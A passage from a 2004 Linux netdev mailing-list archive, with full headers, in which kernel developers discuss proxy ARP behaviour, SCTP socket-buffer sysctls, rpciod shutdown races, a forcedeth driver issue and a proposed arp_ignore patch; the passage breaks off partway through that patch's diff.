all requests, broadcast > or unicast, to help other authoritative hosts to reply before us. Do we really want to reply to all the garbage tcpdump causes us to capture? That is what the pkt_type is dealing with. If we're in promiscuous mode, we'll hear ARP requests meant not for any of our devices, we should not proxy for them right? RTCF_*NAT is dead wood, the existing route nating stuff is totally broken an unusable in 2.6.x, the eventual plan was to code up XFRM engine version of that feature but this is of course not done. Since nobody is complaining about lack of routing NAT in 2.6.x, I think we should just kill off all references and if someone gets inspired they can code up the XFRM engine version. From davem@redhat.com Mon Feb 9 12:40:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 12:40:22 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19Ke8KO012357 for ; Mon, 9 Feb 2004 12:40:10 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19Kdcb21215; Mon, 9 Feb 2004 15:39:38 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19Kdci03748; Mon, 9 Feb 2004 15:39:38 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19Kd5kC025462; Mon, 9 Feb 2004 15:39:05 -0500 Date: Mon, 9 Feb 2004 12:39:37 -0800 From: "David S. Miller" To: Sridhar Samudrala Cc: netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.2 SCTP updates Message-Id: <20040209123937.7c2a3e3d.davem@redhat.com> In-Reply-To: References: <20040206194518.56787717.davem@redhat.com> <20040209122647.1e8df80a.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3149 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 485 Lines: 10 On Mon, 9 Feb 2004 12:34:06 -0800 (PST) Sridhar Samudrala wrote: > It is going on well. I hope to get it done by the end of this week. Do you > want me to wait for 2.4.25 release? Or can i submit it even in the -rc phase? I would like to have it as soon as possible. Not necessarily so that it gets merged into 2.4.25 (I don't think I'll try to do that) but moreso because I'd like to do review it now such that when 2.4.26-preX starts up I can just push it along. From davem@redhat.com Mon Feb 9 12:42:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 12:42:28 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19KgFKO012727 for ; Mon, 9 Feb 2004 12:42:15 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19Kfkb22528; Mon, 9 Feb 2004 15:41:47 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19Kfki04896; Mon, 9 Feb 2004 15:41:46 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19KfDkC028970; Mon, 9 Feb 2004 15:41:13 -0500 Date: Mon, 9 Feb 2004 12:41:45 -0800 From: "David S. Miller" To: Nivedita Singhvi Cc: sri@us.ibm.com, netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.2 SCTP updates Message-Id: <20040209124145.48de8d55.davem@redhat.com> In-Reply-To: <4027EECA.9000705@us.ibm.com> References: <20040206194518.56787717.davem@redhat.com> <4027EECA.9000705@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3150 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 741 Lines: 20 On Mon, 09 Feb 2004 12:34:18 -0800 Nivedita Singhvi wrote: > Sorry to pitch in on this so late - and I'm not suggesting > this was not the right thing to do here, but I feel that > having the per-protocol globals (as we do for TCP) is a > good thing, as then you don't affect all (raw, udp..) > traffic on the system just because someone is tuning > for SCTP, etc. I understand. But there was no known reason to tweak things for SCTP. If one wanted to adjust things system wide there was no way for it to apply to SCTP too. Also, the TCP controls are not as they would seem. They don't directly effect things like the sysctl*{rmem,wmem} stuff does, rather it influences the dynamic socket buffer sizing which TCP does. From trondmy@ulrik.uio.no Mon Feb 9 12:49:11 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 12:49:22 -0800 (PST) Received: from pat.uio.no (IDENT:7411@pat.uio.no [129.240.130.16]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19Kn7KO013542 for ; Mon, 9 Feb 2004 12:49:10 -0800 Received: from mail-mx2.uio.no ([129.240.10.30]) by pat.uio.no with esmtp (Exim 4.20) id 1AqIL1-00068Q-3j; Mon, 09 Feb 2004 21:49:03 +0100 Received: from mail-web2.uio.no ([129.240.10.46] helo=webmail.uio.no) by mail-mx2.uio.no with smtp (Exim 4.14) id 1AqIKx-00065T-Tk; Mon, 09 Feb 2004 21:48:59 +0100 Received: from ti221110a080-0832.bb.online.no ([80.213.3.64]) (SquirrelMail authenticated user trondmy) by webmail.uio.no with HTTP; Mon, 9 Feb 2004 21:48:59 +0100 (CET) Message-ID: <35059.80.213.3.64.1076359739.squirrel@webmail.uio.no> Date: Mon, 9 Feb 2004 21:48:59 +0100 (CET) Subject: Re: [NFS] [PATCH][RFC] use completions instead of sleep_on forrpciod From: trond.myklebust@fys.uio.no To: "Olaf Kirch" , "Christoph Hellwig" Cc: netdev@oss.sgi.com, nfs@lists.sourceforge.net User-Agent: SquirrelMail/1.4.2 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal References: <20040207144405.GA19416@lst.de> <20040209102801.GC21364@suse.de> In-Reply-To: <20040209102801.GC21364@suse.de> X-MailScanner-Information: This message has been scanned for viruses/spam. Contact postmaster@uio.no if you have questions about this scanning X-UiO-MailScanner: No virus found X-UiO-Spam-info: not spam, SpamAssassin (score=1.116, required 12, NO_REAL_NAME 0.28, PRIORITY_NO_NAME 0.83) X-UiO-Spam-score: s X-archive-position: 3152 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: trond.myklebust@fys.uio.no Precedence: bulk X-list: netdev Content-Length: 954 Lines: 29 På må , 09/02/2004 klokka 11:28, skreiv Olaf Kirch: > On Sat, Feb 07, 2004 at 03:44:05PM +0100, Christoph Hellwig wrote: > > The rpciod shutdown code gives ugly sleep_on without BKL warnings in -mm. And it looks indeed somewhat racy. > > Yes, this code is indeed one of the areas that breaks when you use the sunrpc code without the BKL. Another one was the missing spinlock in xprt_alloc_xid. The code in fs/nfs/unlink.c is probably also racy without BKL. > > So if you remove the sunrpc BKL be prepared for lots and lots > of bug reports :) Ahem.... xprt_alloc_xid is quite safe. It's always called under xprt->xprt_lock. The code in unlink.c is only called from dentry_iput() or from sillyrename(). In either case, there is no possibility for SMP races. I'll admit that the rpciod killer code is racy, but I'm not sure that completions are the best answer, as they have at least one nasty feature: they are not interruptible. Cheers, Trond From niv@us.ibm.com Mon Feb 9 12:52:47 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 12:52:57 -0800 (PST) Received: from e34.co.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19KqkKO013962 for ; Mon, 9 Feb 2004 12:52:47 -0800 Received: from westrelay05.boulder.ibm.com (westrelay05.boulder.ibm.com [9.17.193.33]) by e34.co.us.ibm.com (8.12.10/8.12.2) with ESMTP id i19KqeOH400416; Mon, 9 Feb 2004 15:52:41 -0500 Received: from us.ibm.com (d03av03.boulder.ibm.com [9.17.193.83]) by westrelay05.boulder.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i19Kqdkb076564; Mon, 9 Feb 2004 13:52:40 -0700 Message-ID: <4027F28A.40704@us.ibm.com> Date: Mon, 09 Feb 2004 12:50:18 -0800 From: Nivedita Singhvi User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: sri@us.ibm.com, netdev@oss.sgi.com Subject: Re: [BK PATCH] 2.6.2 SCTP updates References: <20040206194518.56787717.davem@redhat.com> <4027EECA.9000705@us.ibm.com> <20040209124145.48de8d55.davem@redhat.com> In-Reply-To: <20040209124145.48de8d55.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3153 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: niv@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 526 Lines: 19 David S. Miller wrote: > I understand. > > But there was no known reason to tweak things for SCTP. Yeah, I agree it doesn't matter right now for SCTP. I don't know of anyone running SCTP *and* heavy NFS/raw apps simultaneously. But they open up those socket buffers for some real decent SCTP performance and watch that unconstrained raw or udp traffic bludgeon any congestion controlled streams like TCP and SCTP out of the network. But this is a rather intrinsic problem with other solutions, really.. thanks, Nivedita From davem@redhat.com Mon Feb 9 13:00:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 13:00:55 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19L0jKO014852 for ; Mon, 9 Feb 2004 13:00:45 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19L0bb00679; Mon, 9 Feb 2004 16:00:37 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19L0bi14344; Mon, 9 Feb 2004 16:00:37 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19L04kC012365; Mon, 9 Feb 2004 16:00:04 -0500 Date: Mon, 9 Feb 2004 13:00:36 -0800 From: "David S. Miller" To: trond.myklebust@fys.uio.no Cc: okir@suse.de, hch@lst.de, netdev@oss.sgi.com, nfs@lists.sourceforge.net Subject: Re: [NFS] [PATCH][RFC] use completions instead of sleep_on forrpciod Message-Id: <20040209130036.613a9bdd.davem@redhat.com> In-Reply-To: <35059.80.213.3.64.1076359739.squirrel@webmail.uio.no> References: <20040207144405.GA19416@lst.de> <20040209102801.GC21364@suse.de> <35059.80.213.3.64.1076359739.squirrel@webmail.uio.no> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3154 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 335 Lines: 9 On Mon, 9 Feb 2004 21:48:59 +0100 (CET) trond.myklebust@fys.uio.no wrote: > I'll admit that the rpciod killer code is racy, but I'm not sure that > completions are the best answer, as they have at least one nasty feature: > they are not interruptible. Would you like to back out the change then? I put it into Linus's tree already. From jmorris@redhat.com Mon Feb 9 13:26:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 13:27:08 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19LQuKO015673 for ; Mon, 9 Feb 2004 13:26:56 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19LQnb13413; Mon, 9 Feb 2004 16:26:49 -0500 Received: from mail.boston.redhat.com (mail.boston.redhat.com [172.16.64.12]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19LQli23506; Mon, 9 Feb 2004 16:26:47 -0500 Received: from thoron.boston.redhat.com (thoron.boston.redhat.com [172.16.65.238]) by mail.boston.redhat.com (8.12.8/8.12.8) with ESMTP id i19LQk03012810; Mon, 9 Feb 2004 16:26:46 -0500 Date: Mon, 9 Feb 2004 16:26:46 -0500 (EST) From: James Morris X-X-Sender: jmorris@thoron.boston.redhat.com To: "David S. Miller" cc: Julian Anastasov , , Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <20040209121926.6f016ebf.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3155 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jmorris@redhat.com Precedence: bulk X-list: netdev Content-Length: 505 Lines: 17 On Mon, 9 Feb 2004, David S. Miller wrote: > RTCF_*NAT is dead wood, the existing route nating stuff is totally broken > an unusable in 2.6.x, the eventual plan was to code up XFRM engine version > of that feature but this is of course not done. Since nobody is complaining > about lack of routing NAT in 2.6.x, I think we should just kill off all references > and if someone gets inspired they can code up the XFRM engine version. Sounds like a plan. - James -- James Morris From greearb@candelatech.com Mon Feb 9 13:40:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 13:40:17 -0800 (PST) Received: from ns1.wanfear.com (ns1.wanfear.com [207.212.57.1]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19Le7KO016174 for ; Mon, 9 Feb 2004 13:40:07 -0800 Received: from candelatech.com (evrtwa1-ar2-4-35-049-074.evrtwa1.dsl-verizon.net [4.35.49.74]) (authenticated bits=0) by ns1.wanfear.com (8.12.10/8.12.8) with ESMTP id i19Ldp9v032575; Mon, 9 Feb 2004 13:39:51 -0800 Message-ID: <4027FE27.9020102@candelatech.com> Date: Mon, 09 Feb 2004 13:39:51 -0800 From: Ben Greear Organization: Candela Technologies User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "David S. Miller" CC: Julian Anastasov , netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: Change proxy_arp to respond only for valid neighbours References: <20040209121926.6f016ebf.davem@redhat.com> In-Reply-To: <20040209121926.6f016ebf.davem@redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3156 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greearb@candelatech.com Precedence: bulk X-list: netdev Content-Length: 816 Lines: 26 David S. Miller wrote: > On Sun, 8 Feb 2004 22:44:05 +0200 (EET) > Julian Anastasov wrote: > > >>- the 'skb->pkt_type == PACKET_HOST' check has no semantic anymore, >>the requestor should have same information no matter the packet >>type. In all cases we add response delay for all requests, broadcast >>or unicast, to help other authoritative hosts to reply before us. > > > Do we really want to reply to all the garbage tcpdump causes us > to capture? > > That is what the pkt_type is dealing with. If we're in promiscuous > mode, we'll hear ARP requests meant not for any of our devices, we > should not proxy for them right? Arp requests are always broadcasts, so promisc changes nothing, right? -- Ben Greear Candela Technologies Inc http://www.candelatech.com From davem@redhat.com Mon Feb 9 13:46:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 13:46:13 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19Lk3KO016580 for ; Mon, 9 Feb 2004 13:46:04 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19Ljrb22495; Mon, 9 Feb 2004 16:45:53 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19Ljqi29621; Mon, 9 Feb 2004 16:45:52 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19LjJkC003146; Mon, 9 Feb 2004 16:45:19 -0500 Date: Mon, 9 Feb 2004 13:45:51 -0800 From: "David S. Miller" To: Ben Greear Cc: ja@ssi.bg, netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: Change proxy_arp to respond only for valid neighbours Message-Id: <20040209134551.3bd533a2.davem@redhat.com> In-Reply-To: <4027FE27.9020102@candelatech.com> References: <20040209121926.6f016ebf.davem@redhat.com> <4027FE27.9020102@candelatech.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3157 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 728 Lines: 18 On Mon, 09 Feb 2004 13:39:51 -0800 Ben Greear wrote: > Arp requests are always broadcasts, so promisc changes nothing, > right? Unicast probes are possible. If it is broadcast/multicast then pkt_type will be PACKET_{BROAD,MULTI}CAST. The existing ipv4 proxy-arp code is saying (as I read it) to not delay the response if this is a unicast probe. This is one of the behaviors that Julian is modifying slightly. For everyone's edification, when looking at changes Julian is suggesting, realize that his interests lie in IPVS like applications, so consider the corner case situations that such setups might be interested in and you'll see clearly the impetus for all of his ARP change proposals :-) From kenneth.krekula@kiruna.se Mon Feb 9 13:50:50 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 13:51:02 -0800 (PST) Received: from mxfep02.bredband.com (mxfep02.bredband.com [195.54.107.73]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19LoiKO016991 for ; Mon, 9 Feb 2004 13:50:45 -0800 Received: from [192.168.0.126] ([213.114.123.43] [213.114.123.43]) by mxfep02.bredband.com with ESMTP id <20040209215028.FNGB16874.mxfep02.bredband.com@[192.168.0.126]>; Mon, 9 Feb 2004 22:50:28 +0100 From: Kenneth Krekula To: netdev@oss.sgi.com Subject: A small forcedeth driver issue Date: Mon, 9 Feb 2004 22:52:22 +0100 User-Agent: KMail/1.6.1 Cc: c-d.hailfinger.kernel.2004@gmx.net MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200402092252.22540.kenneth.krekula@kiruna.se> X-archive-position: 3158 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kenneth.krekula@kiruna.se Precedence: bulk X-list: netdev Content-Length: 535 Lines: 17 Hi. I have a NForce1 motherboard and have tested the forcedeth driver with the Mandrake 10 betas. The driver works very well (thanks for the great work!!) and I only have a small issue: If I have been using the driver in Mandrake 10 beta 2, and reboot into Win XP or Mandrake Linux 9.2 (with the NVIdia NForce drivers) the network just fails. However, if I shut off the power switch and wait for some seconds, I can power on and boot into Win XP, Mandrake 9.2. I don't know if this is a known issue or not. Regards, Kenneth From davem@redhat.com Mon Feb 9 13:58:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 13:59:01 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19LwoKO017488 for ; Mon, 9 Feb 2004 13:58:50 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19Lwib28907; Mon, 9 Feb 2004 16:58:44 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19Lwii01800; Mon, 9 Feb 2004 16:58:44 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19LwAkC010660; Mon, 9 Feb 2004 16:58:11 -0500 Date: Mon, 9 Feb 2004 13:58:43 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: Change proxy_arp to respond only for valid neighbours Message-Id: <20040209135843.42b5b67e.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3159 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1220 Lines: 32 On Sun, 8 Feb 2004 22:44:05 +0200 (EET) Julian Anastasov wrote: > + if (skb->stamp.tv_sec) { Julian, do you understand what this check is for? If it is zero, this means we are being reinvoked via the delayed proxy queue. It means that some previously delayed response has been kicked so that we should respond to it right now, with no delay, no matter what. Otherwise you could loop delaying the thing forever. If there is a case where some pneigh ARP request should be evaluated multiple times, such a change belongs in the pneigh_*() code not here in ipv4 arp processing. The exact path is: 1) All input packets get skb->stamp.tv_sec assigned to in net/core/dev.c at the waaaay beginning of input packet processing... 2) Therefore the first time skb goes through arp_rcv() skb->tv_sec will be non-zero. 3) If it is pneigh_enqueue()'d, then skb->stamp.tv_sec will be set to zero therefore upon reprocessing by arp_rcv() it will be seen as zero and this is how such a state is detected. Yes, I hate all of these overloaded meanings of skb->stamp.tv_* as much as anyone else. This is my contribution wrt. this suggested patch today, it's your turn to make some commentary Julian :-) From davem@redhat.com Mon Feb 9 14:09:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 14:09:17 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19M95KO017960 for ; Mon, 9 Feb 2004 14:09:05 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19M8tb01421; Mon, 9 Feb 2004 17:08:55 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19M8ti06009; Mon, 9 Feb 2004 17:08:55 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19M8LkC015866; Mon, 9 Feb 2004 17:08:22 -0500 Date: Mon, 9 Feb 2004 14:08:53 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests Message-Id: <20040209140853.69ab8bea.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3160 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 797 Lines: 21 On Sun, 8 Feb 2004 11:59:35 +0200 (EET) Julian Anastasov wrote: > I'm proposing simple flag that controls the src selection > in our ARP requests. I named it arp_announce - mode used to define > different restriction levels for announcing the local source address > from IP packets in ARP requests: I'm fine with this patch, although it appears incomplete because: > 2 - always use the best source address for this target The code handling this case is "#if 0/#endif" commented out in your patch. Finish this thing up, and as a birthday present to everyone I'll also add an IN_DEV_ARP_IGNORE flag for inet devices to so people can control complete ARP ignoring via a global/per-device sysctl. Hopefully, combined, this will get all the virtual server maniacs off of my back :-) From davem@redhat.com Mon Feb 9 14:20:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 09 Feb 2004 14:20:32 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i19MKNKO018623 for ; Mon, 9 Feb 2004 14:20:23 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i19MKFb07172; Mon, 9 Feb 2004 17:20:15 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i19MKFi10494; Mon, 9 Feb 2004 17:20:15 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i19MJgkC022285; Mon, 9 Feb 2004 17:19:42 -0500 Date: Mon, 9 Feb 2004 14:20:14 -0800 From: "David S. Miller" To: "David S. Miller" Cc: ja@ssi.bg, netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: Restrict local IP announcements in ARP requests Message-Id: <20040209142014.413209d7.davem@redhat.com> In-Reply-To: <20040209140853.69ab8bea.davem@redhat.com> References: <20040209140853.69ab8bea.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3161 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 3534 Lines: 103 On Mon, 9 Feb 2004 14:08:53 -0800 "David S. Miller" wrote: > as a birthday present to everyone I'll also add an IN_DEV_ARP_IGNORE > flag for inet devices to so people can control > complete ARP ignoring via a global/per-device sysctl. Ok, does this do what everyone wants? Speak now or forever hold your peace on this issue :-) I'll add this to 2.6.x and 2.4.x if folks are OK with it. Write this date down on your calendars, I doubt I'll capitulate like this ever again 8-) ===== Documentation/networking/ip-sysctl.txt 1.20 vs edited ===== --- 1.20/Documentation/networking/ip-sysctl.txt Mon Feb 2 10:20:58 2004 +++ edited/Documentation/networking/ip-sysctl.txt Mon Feb 9 14:08:57 2004 @@ -499,6 +499,15 @@ conf/{all,interface}/arp_filter is set to TRUE, it will be disabled otherwise +arp_ignore - BOOLEAN + 0 - (default) Process ARP requests. + 1 - Ignore ARP requests. + + ARP requests received on a given interface will be ignored if + at least one of conf/{all,interface}/arp_ignore is set to TRUE. + ARP requests will be processed otherwise (barring any other + restrictive controls such as 'arp_filter' documented above). + tag - INTEGER Allows you to write a number, which can be used as required. Default value is 0. ===== include/linux/inetdevice.h 1.7 vs edited ===== --- 1.7/include/linux/inetdevice.h Thu Jan 29 14:57:46 2004 +++ edited/include/linux/inetdevice.h Mon Feb 9 14:09:31 2004 @@ -18,6 +18,7 @@ int mc_forwarding; int tag; int arp_filter; + int arp_ignore; int medium_id; int no_xfrm; int 